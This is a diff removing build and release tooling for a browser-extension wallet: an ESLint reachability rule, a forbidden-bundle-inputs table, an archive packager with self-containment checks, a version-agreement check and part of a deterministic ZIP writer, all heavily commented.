hashHexChars: HASH_HEX_CHARS,
|
||||
count: unique.length,
|
||||
hashes: unique.join(""),
|
||||
};
|
||||
|
||||
// Four-space JSON with a trailing newline: what prettier emits for this
|
||||
// shape, so a vendored artifact passes make fmt-check untouched.
|
||||
fs.writeFileSync(output, JSON.stringify(artifact, null, 4) + "\n");
|
||||
|
||||
process.stdout.write(
|
||||
"build-blocklist: " +
|
||||
config.blacklist.length +
|
||||
" source entries -> " +
|
||||
seen.size +
|
||||
" usable domains -> " +
|
||||
unique.length +
|
||||
" digests (" +
|
||||
dropped +
|
||||
" not hostnames, " +
|
||||
(seen.size - unique.length) +
|
||||
" digest collisions)\n",
|
||||
);
|
||||
}
|
||||
|
||||
main(process.argv.slice(2));
|
||||
@@ -1,206 +0,0 @@
|
||||
// ESLint rule: the background bundle may not reach the shared state singleton.
|
||||
//
|
||||
// src/shared/state.js holds a module-level `state` object, loaded once by
|
||||
// loadState() and mutated in place from then on. That is the popup's model. In
|
||||
// the MV3 service worker there is no "once": the worker is terminated when
|
||||
// idle and revived by the next message, nothing loads state at module scope,
|
||||
// and an unpopulated read used to be served DEFAULT_STATE without complaint —
|
||||
// five defects, one cause
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/324). The background has its
|
||||
// own per-call storage layer in src/background/state.js instead.
|
||||
//
|
||||
// THIS RULE IS NOT THE GUARANTEE, and must not be described as one. The
|
||||
// guarantee is in build.js: FORBIDDEN_INPUTS / assertNoForbiddenInputs() fails
|
||||
// the build when esbuild's own metafile reports src/shared/state.js as an input
|
||||
// of a background bundle. That consults the resolution esbuild actually
|
||||
// performed, so no specifier syntax and no resolution rule can slip past it,
|
||||
// and Dockerfile:42 runs `make build` in CI.
|
||||
//
|
||||
// What this rule is: fast local feedback, in the editor and in `make lint`,
|
||||
// before a full bundle. It reads sources from disk and matches import
|
||||
// specifiers TEXTUALLY, so it is a best-effort approximation of module
|
||||
// resolution — a hand-rolled matcher will diverge from a real bundler, and two
|
||||
// earlier revisions of this file proved it by shipping holes (a template
|
||||
// literal, a dynamic `import()`, a comment inside the call, a directory
|
||||
// resolved through `package.json` `main`). Those are all covered now, and the
|
||||
// next divergence is caught by the build rather than by widening this again.
|
||||
//
|
||||
// It checks REACHABILITY, not just the direct require: the singleton is one
|
||||
// `require()` away from any shared module the background pulls in, and a
|
||||
// re-export would put it back in the bundle without any background file naming
|
||||
// it. So each background file is the root of a walk over the CommonJS require
|
||||
// graph, and the error names the whole chain that brought the singleton in.
|
||||
//
|
||||
// Matching textually over-approximates — a specifier inside a comment or a
|
||||
// string counts — which is the safe direction here: the failure mode is a
|
||||
// spurious error naming an exact file and line, not a silent hole.
|
||||
//
|
||||
// Two shapes this rule does NOT report, both of which the build does fail on
|
||||
// (each measured with `make lint` and `make build` on the branch that added
|
||||
// this note):
|
||||
//
|
||||
// - a computed specifier, `require("../shared/" + "state")` — esbuild
|
||||
// constant-folds it, so it is in the bundle and `make build` is exit 2
|
||||
// naming src/shared/state.js, while `make lint` is exit 0. Same for
|
||||
// `import("../shared/" + variable)`, which esbuild resolves as a glob.
|
||||
// - a symlink to the module — esbuild reports the real path and fails the
|
||||
// build; this rule resolves the link's own path and sees a different file.
|
||||
//
|
||||
// Both are pinned as non-reports in tests/backgroundStateLintRule.test.js, so
|
||||
// this list is a measured description of the rule rather than a claim about
|
||||
// it. They are known divergences, not things that cannot happen. A
|
||||
// matcher will keep diverging from a bundler; that is why the guarantee is the
|
||||
// build's and this rule is not widened again to chase them.
|
||||
|
||||
const fs = require("fs");
|
||||
const path = require("path");
|
||||
|
||||
const { FORBIDDEN_INPUTS } = require("../forbiddenBundleInputs");
|
||||
|
||||
// The modules to keep out, repo-relative, taken from the same table build.js
|
||||
// asserts against so that the two layers cannot name different paths. A second
|
||||
// literal copy here is how a rename disarms one of them while the other still
|
||||
// looks enforced.
|
||||
const FORBIDDEN = [...new Set(Object.values(FORBIDDEN_INPUTS).flat())];
|
||||
|
||||
// Whatever may sit between a keyword, a paren and a specifier: whitespace and
|
||||
// comments. `import(/* webpackChunkName: "x" */ "./x")` is a standard bundler
|
||||
// idiom, and an inline `/* eslint-… */` is just as ordinary, so a matcher that
|
||||
// allows only \s there is not strict, it is broken. Each alternative starts
|
||||
// with a distinct character, so this cannot backtrack quadratically.
|
||||
const GAP = "(?:\\s|/\\*[^]*?\\*/|//[^\\n]*)";
|
||||
const SPECIFIER = "[\"'`]([^\"'`]+)[\"'`]";
|
||||
|
||||
// Both alternatives capture the specifier: call form first
|
||||
// (`require(...)`/`import(...)`), then clause form (`from "x"`, and the bare
|
||||
// side-effect `import "x"`). Nothing after the specifier is matched, so a
|
||||
// trailing comment or a trailing comma cannot break the match either.
|
||||
const SPECIFIER_RE = new RegExp(
|
||||
`\\b(?:require|import)${GAP}*\\(${GAP}*${SPECIFIER}` +
|
||||
`|\\b(?:from|import)${GAP}+${SPECIFIER}`,
|
||||
"g",
|
||||
);
|
||||
|
||||
// The `main` of a directory's package.json, as a specifier relative to that
|
||||
// directory, or null. esbuild resolves a directory through it, so a walk that
|
||||
// stops at `<dir>/index.js` reports a specifier it matched perfectly well as
|
||||
// unresolvable.
|
||||
function packageMain(dir) {
|
||||
try {
|
||||
const pkg = JSON.parse(
|
||||
fs.readFileSync(path.join(dir, "package.json"), "utf8"),
|
||||
);
|
||||
return typeof pkg.main === "string" && pkg.main ? pkg.main : null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// Resolve a relative require to a file path, trying what node and esbuild would
|
||||
// in the order they would: the path itself, then extensions, then the directory
|
||||
// (its package.json `main`, then its index.js).
|
||||
function resolveRelative(fromFile, spec) {
|
||||
if (!spec.startsWith(".")) return null; // a package, not our tree
|
||||
const base = path.resolve(path.dirname(fromFile), spec);
|
||||
const main = packageMain(base);
|
||||
for (const candidate of [
|
||||
base,
|
||||
base + ".js",
|
||||
base + ".json",
|
||||
...(main
|
||||
? [path.resolve(base, main), path.resolve(base, main) + ".js"]
|
||||
: []),
|
||||
path.join(base, "index.js"),
|
||||
]) {
|
||||
try {
|
||||
if (fs.statSync(candidate).isFile()) return candidate;
|
||||
} catch {
|
||||
// Not this candidate.
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function requiresOf(file) {
|
||||
let source;
|
||||
try {
|
||||
source = fs.readFileSync(file, "utf8");
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
const out = [];
|
||||
for (const match of source.matchAll(SPECIFIER_RE)) {
|
||||
const resolved = resolveRelative(file, match[1] ?? match[2]);
|
||||
if (resolved) out.push(resolved);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
// Breadth-first from `entry`, returning the shortest chain of files that ends
|
||||
// at one of the forbidden modules, or null when none is reachable.
|
||||
function chainToForbidden(entry, forbidden) {
|
||||
const seen = new Set([entry]);
|
||||
const queue = [[entry]];
|
||||
while (queue.length > 0) {
|
||||
const chain = queue.shift();
|
||||
for (const next of requiresOf(chain[chain.length - 1])) {
|
||||
if (forbidden.has(next)) return chain.concat([next]);
|
||||
if (seen.has(next)) continue;
|
||||
seen.add(next);
|
||||
queue.push(chain.concat([next]));
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
const rule = {
|
||||
meta: {
|
||||
type: "problem",
|
||||
docs: {
|
||||
description:
|
||||
"the background bundle must not be able to reach the" +
|
||||
" module-level state singleton in src/shared/state.js",
|
||||
},
|
||||
schema: [],
|
||||
messages: {
|
||||
reachable:
|
||||
"The background must not reach the shared state singleton:" +
|
||||
" {{chain}}. The MV3 worker never populates it, so reading it" +
|
||||
" serves DEFAULT_STATE. Use getState()/updateState() from" +
|
||||
" src/background/state.js instead.",
|
||||
},
|
||||
},
|
||||
|
||||
create(context) {
|
||||
return {
|
||||
"Program:exit"(node) {
|
||||
const filename = context.filename;
|
||||
// ESLint lints from the repo root, which is also where the
|
||||
// forbidden paths are anchored.
|
||||
const forbidden = new Set(
|
||||
FORBIDDEN.map((module) =>
|
||||
path.resolve(context.cwd, module),
|
||||
),
|
||||
);
|
||||
const chain = chainToForbidden(
|
||||
path.resolve(filename),
|
||||
forbidden,
|
||||
);
|
||||
if (!chain) return;
|
||||
context.report({
|
||||
node,
|
||||
messageId: "reachable",
|
||||
data: {
|
||||
chain: chain
|
||||
.map((file) => path.relative(context.cwd, file))
|
||||
.join(" -> "),
|
||||
},
|
||||
});
|
||||
},
|
||||
};
|
||||
},
|
||||
};
|
||||
|
||||
module.exports = {
|
||||
rules: { "no-state-singleton-in-background": rule },
|
||||
};
|
||||
@@ -1,123 +0,0 @@
|
||||
// The modules a given entry point's bundle may not contain, keyed by the
|
||||
// repo-relative entry point.
|
||||
//
|
||||
// ONE table, read by both layers that act on it: build.js asserts it against
|
||||
// esbuild's own metafile (the guarantee), and
|
||||
// script/lib/eslint/noStateSingletonInBackground.js reports the same
|
||||
// prohibition in the editor (fast feedback). It lives here because a second
|
||||
// literal copy of the path is exactly how a rename disarms one layer while the
|
||||
// other still looks enforced.
|
||||
//
|
||||
// src/shared/state.js holds a module-level `state` object, loaded once by
|
||||
// loadState() and mutated in place from then on. That is the popup's model:
|
||||
// one page, one load at boot, one lifetime. The MV3 service worker has no
|
||||
// "once" — it is killed when idle and revived by the next message, nothing
|
||||
// loads state at module scope, and an unpopulated read was answered out of
|
||||
// DEFAULT_STATE in silence. Five defects came from that, one of which
|
||||
// destroyed a wallet (https://git.eeqj.de/sneak/AutistMask/issues/324). The
|
||||
// background has its own per-call storage layer in src/background/state.js
|
||||
// instead.
|
||||
//
|
||||
// What build.js's assertion covers, measured rather than assumed:
|
||||
//
|
||||
// - Any import of a listed module, at any hop, in any specifier syntax,
|
||||
// however esbuild resolved it. The check reads the input list esbuild
|
||||
// reported for the emitted bundle, so it is the resolution the shipped
|
||||
// file was built from and not a model of it. Measured on a computed
|
||||
// specifier that esbuild constant-folds (`require("../shared/" +
|
||||
// "state")`), on a computed specifier it resolves as a glob
|
||||
// (`import("../shared/" + variable)`), and on a symlink to the module
|
||||
// (esbuild reports the real path): each is `make build` exit 2.
|
||||
//
|
||||
// - Every background entry point, whether or not anyone remembered to list
|
||||
// it. A bundled entry point under BACKGROUND_ENTRY_PREFIX with no line in
|
||||
// this table fails the build (assertNoForbiddenInputs()), so adding a
|
||||
// second worker entry point is protected by default rather than protected
|
||||
// only if the person adding it knew about this file. Measured: bundling
|
||||
// src/background/worker2.js with no line here is `make build` exit 2.
|
||||
//
|
||||
// - NOT covered: a COPY of a listed module at another path. The table is
|
||||
// keyed by path, so `cp src/shared/state.js src/shared/stateCopy.js` plus
|
||||
// a background require of the copy is `make build` exit 0 and `make lint`
|
||||
// exit 0 (measured). The copy carries the singleton's own guard, so
|
||||
// defects 1-3 of https://git.eeqj.de/sneak/AutistMask/issues/324 — a read
|
||||
// of a field nothing loaded — become a loud StateNotLoadedError instead of
|
||||
// a silent DEFAULT_STATE. Defects 4 and 5 do NOT: a copy also carries
|
||||
// loadState(), and a stale read several awaits after a load, or a load
|
||||
// detaching the objects an in-flight handler is mutating, are silent over
|
||||
// a LOADED singleton whether it is the original or a copy. So the residual
|
||||
// is wider than "it fails loudly". A newly WRITTEN singleton has no
|
||||
// backstop at all.
|
||||
//
|
||||
// - NOT covered: a background-behaving entry point outside
|
||||
// BACKGROUND_ENTRY_PREFIX. The default protection above is keyed on that
|
||||
// directory, which is also what eslint.config.js scopes the rule to, so a
|
||||
// worker entry point placed somewhere else is covered by neither layer and
|
||||
// needs its own line here.
|
||||
//
|
||||
// The ESLint rule's bounds are its own and are narrower: it matches specifiers
|
||||
// textually, so a computed specifier and a symlink to a listed module are
|
||||
// reported by the build and not by the rule. Both are pinned as non-reports in
|
||||
// tests/backgroundStateLintRule.test.js and are `make build` exit 2 (measured).
|
||||
// A second background entry point reached by one of those two shapes is
|
||||
// therefore caught by the build and not by the rule — which is the same
|
||||
// division of labour as everywhere else here, not an extra hole.
|
||||
//
|
||||
// Every way the table itself can rot is a failure rather than a quiet pass:
|
||||
//
|
||||
// - a KEY no bundled entry point matched, and a listed MODULE this build
|
||||
// bundled nowhere: assertForbiddenTableCovered(), at the end of a build;
|
||||
// - an entry that lists NO modules, and a table with no entries at all:
|
||||
// assertTableWellFormed() below, at require time — so it fails the build
|
||||
// and the lint run alike, because the rule reads the same values and an
|
||||
// empty list leaves it with nothing to look for.
|
||||
//
|
||||
// All of it is pinned by tests/buildForbiddenInputs.test.js.
|
||||
|
||||
// What counts as a background entry point, and therefore must be listed above.
|
||||
// The build has no other notion of one: entry points are the paths handed to
|
||||
// bundle(), and this prefix is the narrowest rule that names the worker's
|
||||
// directory. eslint.config.js scopes the lint rule with the same prefix, from
|
||||
// this constant, so the two layers cannot disagree about what "background"
|
||||
// means.
|
||||
const BACKGROUND_ENTRY_PREFIX = "src/background/";
|
||||
|
||||
const FORBIDDEN_INPUTS = {
|
||||
"src/background/index.js": ["src/shared/state.js"],
|
||||
};
|
||||
|
||||
// Refuse a table that cannot prohibit anything. An entry whose module list is
|
||||
// empty passes every check in both layers while enforcing nothing: the build
|
||||
// finds no module to look for and records the entry as checked, and the rule's
|
||||
// forbidden set — Object.values(...).flat() — comes back empty, so a plain
|
||||
// `require("../shared/state")` in the worker is green everywhere. That is a
|
||||
// one-character edit, so it fails here, where the table is defined and both
|
||||
// layers must load it, rather than in either layer's own checks.
|
||||
function assertTableWellFormed(table) {
|
||||
const entries = Object.entries(table);
|
||||
if (entries.length === 0) {
|
||||
throw new Error(
|
||||
"FORBIDDEN_INPUTS is empty, so nothing is prohibited anywhere. " +
|
||||
"Removing the last entry disables the guarantee behind " +
|
||||
"https://git.eeqj.de/sneak/AutistMask/issues/324.",
|
||||
);
|
||||
}
|
||||
for (const [entry, modules] of entries) {
|
||||
if (!Array.isArray(modules) || modules.length === 0) {
|
||||
throw new Error(
|
||||
`FORBIDDEN_INPUTS["${entry}"] lists no modules, so it ` +
|
||||
`prohibits nothing while still looking enforced. Give it ` +
|
||||
`the modules that entry point may not reach, or remove ` +
|
||||
`the entry.`,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
assertTableWellFormed(FORBIDDEN_INPUTS);
|
||||
|
||||
module.exports = {
|
||||
BACKGROUND_ENTRY_PREFIX,
|
||||
FORBIDDEN_INPUTS,
|
||||
assertTableWellFormed,
|
||||
};
|
||||
@@ -1,294 +0,0 @@
|
||||
// Turn a verified dist/ into the two distributable archives.
|
||||
//
|
||||
// Invoked by script/package, which runs `make build` first so that dist/ has
|
||||
// already been checked against the build's own receipt (see the Build Receipts
|
||||
// section of README.md). This program does not build anything and does not
|
||||
// write into dist/: it reads the emitted tree and writes release/.
|
||||
//
|
||||
// release/autistmask-chrome-<version>.zip loaded via chrome://extensions
|
||||
// release/autistmask-firefox-<version>.xpi an UNSIGNED add-on, see README
|
||||
// release/SHA256SUMS
|
||||
//
|
||||
// Self-containment is checked rather than assumed, because the layout invites
|
||||
// exactly one mistake: build.js emits dist/styles.css at the dist/ ROOT,
|
||||
// outside both browser directories, and copies it into each of them as
|
||||
// src/popup/styles.css. A naive `zip -r dist/chrome` is therefore correct only
|
||||
// by accident, and would stop being correct the moment a reference pointed up
|
||||
// and out. So every path the manifest and the popup HTML reference is resolved
|
||||
// and required to be inside the archive, a reference that escapes the browser
|
||||
// directory is a hard failure, and anything sitting at the dist/ root is
|
||||
// listed as deliberately not shipped rather than silently dropped.
|
||||
//
|
||||
// The archive is then read back and compared byte for byte against the
|
||||
// directory it was built from. An archive nobody opened is a claim, not an
|
||||
// artifact.
|
||||
|
||||
"use strict";
|
||||
|
||||
const crypto = require("crypto");
|
||||
const fs = require("fs");
|
||||
const path = require("path");
|
||||
|
||||
const { readZip, writeZip } = require("./zip");
|
||||
const { resolveVersion } = require("./version");
|
||||
|
||||
const ROOT = path.resolve(__dirname, "..", "..");
|
||||
const DIST = path.join(ROOT, "dist");
|
||||
const RELEASE = path.join(ROOT, "release");
|
||||
|
||||
const TARGETS = [
|
||||
{ dir: "chrome", ext: "zip" },
|
||||
// .xpi rather than .zip: it is the same container, but Firefox's install
|
||||
// flow keys off the extension.
|
||||
{ dir: "firefox", ext: "xpi" },
|
||||
];
|
||||
|
||||
// Strings in a manifest that name a file the extension loads. Matched by
|
||||
// shape, not by a list of manifest keys, so a key added in a later manifest
|
||||
// version is covered the day it appears rather than the day someone remembers
|
||||
// to extend a list here. Nothing else in either manifest looks like this: the
|
||||
// CSP strings, "<all_urls>", the version and the base64 key all fail it.
|
||||
const MANIFEST_PATH_RE =
|
||||
/^[A-Za-z0-9._][A-Za-z0-9._/-]*\.(?:js|css|html|json|png|svg|woff2?)$/;
|
||||
|
||||
// Local references out of an HTML document. Enough for what this repo emits —
|
||||
// one stylesheet link and one script tag — and anything it does not understand
|
||||
// is reported rather than passed over, see htmlReferences().
|
||||
const HTML_REF_RE = /(?:src|href)\s*=\s*["']([^"']+)["']/gi;
|
||||
|
||||
function fail(message) {
|
||||
throw new Error(message);
|
||||
}
|
||||
|
||||
function sha256(buf) {
|
||||
return crypto.createHash("sha256").update(buf).digest("hex");
|
||||
}
|
||||
|
||||
// Every regular file under dir, as archive-root-relative forward-slashed
|
||||
// paths. A symlink is refused rather than followed: build.js emits regular
|
||||
// files only, so a link under dist/ is not something the build produced, and
|
||||
// dereferencing one would put bytes from outside dist/ into the artifact.
|
||||
function listFiles(dir, prefix = "") {
|
||||
const out = [];
|
||||
for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
|
||||
const rel = prefix ? `${prefix}/${entry.name}` : entry.name;
|
||||
if (entry.isSymbolicLink()) {
|
||||
fail(
|
||||
`${dir}/${entry.name} is a symlink. The build emits regular ` +
|
||||
`files only, so this is not something it produced and it ` +
|
||||
`will not be archived.`,
|
||||
);
|
||||
} else if (entry.isDirectory()) {
|
||||
out.push(...listFiles(path.join(dir, entry.name), rel));
|
||||
} else if (entry.isFile()) {
|
||||
out.push(rel);
|
||||
} else {
|
||||
fail(
|
||||
`${dir}/${entry.name} is neither a regular file nor a ` +
|
||||
`directory, so it is not something the build emitted`,
|
||||
);
|
||||
}
|
||||
}
|
||||
return out.sort();
|
||||
}
|
||||
|
||||
// Collect every string anywhere in the manifest that looks like a file it
|
||||
// loads, plus every string that tries to reach outside the extension root.
|
||||
// The second half is the point: "../styles.css" never matches
|
||||
// MANIFEST_PATH_RE, so without an explicit check an escaping reference would
|
||||
// read as "not a path" and the missing file would be found only by a user
|
||||
// whose popup rendered unstyled.
|
||||
function manifestReferences(value, found = new Set()) {
|
||||
if (typeof value === "string") {
|
||||
if (value.split("/").includes("..")) {
|
||||
fail(
|
||||
`the manifest references ${JSON.stringify(value)}, which ` +
|
||||
`points outside the extension root. Everything the ` +
|
||||
`browser loads has to be inside the archive; nothing ` +
|
||||
`above it is shipped.`,
|
||||
);
|
||||
}
|
||||
if (MANIFEST_PATH_RE.test(value)) found.add(value);
|
||||
} else if (Array.isArray(value)) {
|
||||
for (const v of value) manifestReferences(v, found);
|
||||
} else if (value && typeof value === "object") {
|
||||
for (const v of Object.values(value)) manifestReferences(v, found);
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
// Local references out of one HTML member, resolved against that member's own
|
||||
// directory and returned archive-relative. Absolute URLs, data: URIs and
|
||||
// in-page anchors are not files and are skipped; a relative reference that
|
||||
// climbs out of the archive root is a failure for the same reason as above.
|
||||
function htmlReferences(member, text) {
|
||||
const base = path.posix.dirname(member);
|
||||
const out = new Set();
|
||||
for (const match of text.matchAll(HTML_REF_RE)) {
|
||||
const ref = match[1].trim();
|
||||
if (ref === "" || ref.startsWith("#") || ref.startsWith("//")) continue;
|
||||
if (/^[a-z][a-z0-9+.-]*:/i.test(ref)) continue;
|
||||
if (ref.startsWith("/")) {
|
||||
fail(
|
||||
`${member} references ${JSON.stringify(ref)} from the ` +
|
||||
`extension root. Nothing here emits root-absolute ` +
|
||||
`references and this packager does not resolve them.`,
|
||||
);
|
||||
}
|
||||
const resolved = path.posix.normalize(path.posix.join(base, ref));
|
||||
if (resolved.startsWith("..")) {
|
||||
fail(
|
||||
`${member} references ${JSON.stringify(ref)}, which resolves ` +
|
||||
`outside the extension root. build.js copies the ` +
|
||||
`compiled stylesheet into each browser directory for ` +
|
||||
`exactly this reason: dist/styles.css lives at the dist/ ` +
|
||||
`root and is not part of either archive.`,
|
||||
);
|
||||
}
|
||||
out.add(resolved);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
// Everything the browser is told to load, and the assertion that all of it is
|
||||
// in the archive.
|
||||
function checkSelfContained(target, members, read) {
|
||||
if (!members.includes("manifest.json")) {
|
||||
fail(`dist/${target} has no manifest.json at its root`);
|
||||
}
|
||||
|
||||
const manifest = JSON.parse(read("manifest.json").toString("utf8"));
|
||||
const referenced = new Set(manifestReferences(manifest));
|
||||
|
||||
for (const member of members) {
|
||||
if (!member.endsWith(".html")) continue;
|
||||
for (const ref of htmlReferences(
|
||||
member,
|
||||
read(member).toString("utf8"),
|
||||
)) {
|
||||
referenced.add(ref);
|
||||
}
|
||||
}
|
||||
|
||||
const missing = [...referenced].filter((r) => !members.includes(r));
|
||||
if (missing.length > 0) {
|
||||
fail(
|
||||
`the ${target} archive would not be self-contained: it is told ` +
|
||||
`to load ${missing.join(", ")}, which ${
|
||||
missing.length === 1 ? "is" : "are"
|
||||
} not in it`,
|
||||
);
|
||||
}
|
||||
return { manifest, referenced };
|
||||
}
|
||||
|
||||
function main() {
|
||||
const version = resolveVersion(ROOT);
|
||||
|
||||
if (!fs.existsSync(DIST)) {
|
||||
fail(
|
||||
"there is no dist/ to package. script/package runs make build " +
|
||||
"first; run it rather than this program.",
|
||||
);
|
||||
}
|
||||
|
||||
fs.rmSync(RELEASE, { recursive: true, force: true });
|
||||
fs.mkdirSync(RELEASE, { recursive: true });
|
||||
|
||||
// Files the build emits at the dist/ root, outside both browser
|
||||
// directories. Printed rather than ignored: dist/styles.css is the
|
||||
// Tailwind output that build.js then copies into each browser directory,
|
||||
// so leaving it out is correct — but "correct and stated" and "dropped by
|
||||
// a glob" are different things, and only one of them survives the next
|
||||
// change to the build.
|
||||
const rootOnly = fs
|
||||
.readdirSync(DIST, { withFileTypes: true })
|
||||
.filter((e) => !e.isDirectory())
|
||||
.map((e) => e.name)
|
||||
.sort();
|
||||
if (rootOnly.length > 0) {
|
||||
console.log(
|
||||
`Not shipped (dist/ root, outside every browser directory, and ` +
|
||||
`referenced by nothing inside one): ${rootOnly.join(", ")}`,
|
||||
);
|
||||
}
|
||||
|
||||
const sums = [];
|
||||
for (const { dir, ext } of TARGETS) {
|
||||
const targetDir = path.join(DIST, dir);
|
||||
if (!fs.existsSync(targetDir)) {
|
||||
fail(`dist/${dir} does not exist; run make build`);
|
||||
}
|
||||
|
||||
const members = listFiles(targetDir);
|
||||
const readFromDir = (member) =>
|
||||
fs.readFileSync(path.join(targetDir, member));
|
||||
|
||||
const { manifest } = checkSelfContained(dir, members, readFromDir);
|
||||
if (manifest.version !== version) {
|
||||
fail(
|
||||
`dist/${dir}/manifest.json says version ${manifest.version} ` +
|
||||
`but this tree is ${version}. dist/ is stale: run make ` +
|
||||
`build.`,
|
||||
);
|
||||
}
|
||||
|
||||
const archive = writeZip(
|
||||
members.map((name) => ({ name, data: readFromDir(name) })),
|
||||
);
|
||||
const name = `autistmask-${dir}-${version}.${ext}`;
|
||||
const outPath = path.join(RELEASE, name);
|
||||
fs.writeFileSync(outPath, archive);
|
||||
|
||||
// Read the artifact back off disk, not the buffer that was just
|
||||
// written: what ships is the file.
|
||||
const written = fs.readFileSync(outPath);
|
||||
const entries = readZip(written);
|
||||
const inArchive = entries.map((e) => e.name).sort();
|
||||
if (inArchive.join("\n") !== members.join("\n")) {
|
||||
fail(
|
||||
`${name} does not hold the same members as dist/${dir}: ` +
|
||||
`archive has ${inArchive.length}, directory has ` +
|
||||
`${members.length}`,
|
||||
);
|
||||
}
|
||||
for (const entry of entries) {
|
||||
const onDisk = readFromDir(entry.name);
|
||||
if (sha256(entry.data) !== sha256(onDisk)) {
|
||||
fail(`${name} member ${entry.name} differs from dist/${dir}`);
|
||||
}
|
||||
}
|
||||
// Re-run the self-containment check against the ARCHIVE's own
|
||||
// contents. The directory passing it is not the claim being made.
|
||||
const byName = new Map(entries.map((e) => [e.name, e.data]));
|
||||
checkSelfContained(dir, inArchive, (m) => byName.get(m));
|
||||
|
||||
const digest = sha256(written);
|
||||
sums.push(`${digest} ${name}`);
|
||||
console.log(
|
||||
`${name}: ${entries.length} member(s), ${written.length} bytes, ` +
|
||||
`sha256 ${digest}`,
|
||||
);
|
||||
}
|
||||
|
||||
fs.writeFileSync(
|
||||
path.join(RELEASE, "SHA256SUMS"),
|
||||
sums.map((l) => `${l}\n`).join(""),
|
||||
);
|
||||
console.log(`Wrote release/ for version ${version}`);
|
||||
}
|
||||
|
||||
// Only when run as a program. The reference-resolving helpers are what decide
|
||||
// whether an archive is self-contained, so tests/packaging.test.js exercises
|
||||
// them directly and must be able to require this file without packaging
|
||||
// anything.
|
||||
if (require.main === module) {
|
||||
try {
|
||||
main();
|
||||
} catch (err) {
|
||||
console.error(`package: ${err && err.message ? err.message : err}`);
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { checkSelfContained, htmlReferences, manifestReferences };
|
||||
@@ -1,74 +0,0 @@
|
||||
// The version, and the rule that there is only one of it.
|
||||
//
|
||||
// Three files declare a version and none of them can be derived from another:
|
||||
// Chrome and Firefox each need their own manifest, both are copied to dist/
|
||||
// verbatim (tests/manifest.test.js asserts that what is in manifest/ is what
|
||||
// ships), and package.json's copy is what build.js compiles into the About
|
||||
// screen. So the single source of truth is enforced rather than generated —
|
||||
// they must all agree or there is no version and no build.
|
||||
//
|
||||
// Reading one of the three and ignoring the rest is what this replaces. That
|
||||
// shape cannot fail: it silently ships an extension whose About screen and
|
||||
// whose browser-reported version disagree, and whose release artifact is named
|
||||
// after whichever file the packager happened to read.
|
||||
//
|
||||
// Required by build.js, script/lib/package.js and tests/version.test.js, so
|
||||
// the build, the release artifacts and make check all apply the same rule to
|
||||
// the same files.
|
||||
|
||||
"use strict";
|
||||
|
||||
const fs = require("fs");
|
||||
const path = require("path");
|
||||
|
||||
const VERSION_SOURCES = [
|
||||
"package.json",
|
||||
"manifest/chrome.json",
|
||||
"manifest/firefox.json",
|
||||
];
|
||||
|
||||
// Every declared version, in VERSION_SOURCES order, as { source, version }.
|
||||
// A file that declares nothing usable fails here rather than being skipped:
|
||||
// a missing version is not agreement.
|
||||
function declaredVersions(root) {
|
||||
return VERSION_SOURCES.map((source) => {
|
||||
const file = path.join(root, source);
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(fs.readFileSync(file, "utf8"));
|
||||
} catch (e) {
|
||||
throw new Error(
|
||||
`${source} could not be read as JSON: ${e.message}`,
|
||||
);
|
||||
}
|
||||
const version = parsed.version;
|
||||
if (typeof version !== "string" || version.trim() === "") {
|
||||
throw new Error(
|
||||
`${source} declares no usable "version" (found ` +
|
||||
`${JSON.stringify(version)}). Every artifact is named and ` +
|
||||
`stamped with it, so there is nothing to build without it.`,
|
||||
);
|
||||
}
|
||||
return { source, version };
|
||||
});
|
||||
}
|
||||
|
||||
// The one version all three declare, or a failure naming every disagreeing
|
||||
// file and what it said.
|
||||
function resolveVersion(root) {
|
||||
const declared = declaredVersions(root);
|
||||
const distinct = [...new Set(declared.map((d) => d.version))];
|
||||
if (distinct.length !== 1) {
|
||||
throw new Error(
|
||||
"the declared versions disagree, so this tree has no version: " +
|
||||
declared.map((d) => `${d.source}=${d.version}`).join(", ") +
|
||||
". Set all of them to the same value: the manifests are what " +
|
||||
"the browser reports and package.json is what the About " +
|
||||
"screen shows, and a build that picked one of them would " +
|
||||
"ship the disagreement.",
|
||||
);
|
||||
}
|
||||
return distinct[0];
|
||||
}
|
||||
|
||||
module.exports = { VERSION_SOURCES, declaredVersions, resolveVersion };
|
||||
@@ -1,274 +0,0 @@
|
||||
// A minimal, deterministic ZIP writer and reader.
|
||||
//
|
||||
// Used by script/lib/package.js to build the distributable archives: a Chrome
|
||||
// zip and a Firefox XPI are both ordinary zip files with manifest.json at the
|
||||
// root, so one implementation covers both.
|
||||
//
|
||||
// Why this rather than a package or the zip(1) binary. A dependency would have
|
||||
// to be hash-pinned like everything else in REPO_POLICIES.md, and this is
|
||||
// about a hundred lines of stdlib zlib for a format the archives use two
|
||||
// features of. The binary is worse: the release artifact would then depend on
|
||||
// whichever Info-ZIP the machine happens to have, which is the same objection
|
||||
// that keeps linting inside a container.
|
||||
//
|
||||
// Deterministic on purpose. Entries are sorted by name, every timestamp is the
|
||||
// same fixed 1980-01-01 the format's epoch starts at, and the compression
|
||||
// level is fixed, so building the same dist/ twice produces byte-identical
|
||||
// archives and the sha256 in SHA256SUMS is a property of the input rather than
|
||||
// of the clock. Two builds of the same commit that disagree are then visible
|
||||
// instead of expected.
|
||||
//
|
||||
// Deliberately NOT implemented: zip64, encryption, data descriptors,
|
||||
// directory entries (browsers infer directories from member paths), and
|
||||
// anything to do with symlinks. writeZip refuses input it cannot represent
|
||||
// rather than emitting an archive that is quietly wrong.
|
||||
|
||||
"use strict";
|
||||
|
||||
const zlib = require("zlib");
|
||||
|
||||
const LOCAL_SIG = 0x04034b50;
|
||||
const CENTRAL_SIG = 0x02014b50;
|
||||
const EOCD_SIG = 0x06054b50;
|
||||
|
||||
const METHOD_STORE = 0;
|
||||
const METHOD_DEFLATE = 8;
|
||||
|
||||
// 1980-01-01 00:00:00, the earliest the MS-DOS timestamp fields can express.
|
||||
